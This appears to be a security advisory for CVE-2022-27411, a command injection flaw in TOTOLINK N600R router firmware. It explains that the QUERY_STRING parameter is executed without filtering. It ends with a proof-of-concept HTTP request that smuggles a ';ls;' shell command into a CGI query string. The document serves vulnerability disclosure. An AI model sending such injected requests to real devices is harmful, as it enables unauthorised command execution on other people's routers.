Headline
CVE-2022-27411: GitHub - ejdhssh/IOT_Vul
TOTOLINK N600R v5.3c.5507_B20171031 was discovered to contain a command injection vulnerability via the QUERY_STRING parameter in the “Main” function.
TOTOLINK N600R V5.3c.5507_B20171031 Has an command injection vulnerability****Overview
- Type: command injection vulnerability
- Vendor: TOTOLINK (https://www.totolink.net/)
- Products: WiFi Router, such as N600R V5.3c.5507_B20171031
- **Firmware download address:**https://www.totolink.net/data/upload/20200728/f984576c47289d782ed65e67edbf06e2.zip
Description****1.Product Information:
TOTOLINK N600R V5.3c.5507_B20171031 router, the latest version of simulation overview：
2. Vulnerability details
TOTOLINK N600R V5.3c.5507_B20171031 was discovered to contain a command injection vulnerability in the “Main” function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
We can see that the os will get QUERY_STRING without filter splice to the string ;ps; and execute it. So, If we can control the QUERY_STRING, it can be command injection.
3. Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
GET /cgi-bin/downloadFlile.cgi?;ls; HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0